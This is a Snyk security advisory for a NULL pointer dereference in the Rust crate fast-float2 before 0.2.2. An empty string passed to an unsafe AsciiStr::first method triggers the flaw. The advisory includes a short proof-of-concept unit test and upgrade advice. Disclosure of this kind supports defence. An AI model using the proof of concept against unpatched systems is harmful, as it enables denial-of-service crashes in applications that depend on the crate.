NULL Pointer Dereference Affecting fast-float2 package, versions <0.2.2


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-FASTFLOAT2-8679846
  • published31 Jan 2025
  • disclosed29 Jan 2025
  • creditydongyeon

Introduced: 29 Jan 2025

New CVE NOT AVAILABLE CWE-476  (opens in a new tab)

How to fix?

Upgrade fast-float2 to version 0.2.2 or higher.

Overview

fast-float2 is a fast floating-point number parser.

Affected versions of this package are vulnerable to NULL Pointer Dereference via the AsciiStr::first method within the AsciiStr struct using the unsafe keyword to read from memory without performing bounds checking. An attacker can cause the application to crash or execute arbitrary code by providing an empty string as input.

PoC

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_read_write_u64() {
        let bytes = b"01234567";
        let string = AsciiStr::new(bytes);
        let int = string.read_u64();
        assert_eq!(int, 0x3736353433323130);

        let int = bytes.read_u64();
        assert_eq!(int, 0x3736353433323130);

        let mut slc = [0u8; 8];
        slc.write_u64(0x3736353433323130);
        assert_eq!(&slc, bytes);
    }

    #[test]
    fn test_first() {
        let bytes = b"";
        let string = AsciiStr::new(bytes);
        let _int = string.first();

    }
}

CVSS Scores

version 4.0
version 3.1